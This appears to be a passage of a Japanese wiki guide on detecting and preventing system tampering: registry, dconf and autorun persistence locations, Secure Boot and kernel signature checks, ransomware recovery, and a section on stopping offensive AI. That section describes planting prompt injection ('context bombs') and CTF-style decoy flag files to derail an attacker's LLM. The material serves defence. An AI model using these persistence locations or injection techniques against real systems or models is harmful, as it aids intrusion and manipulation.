&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
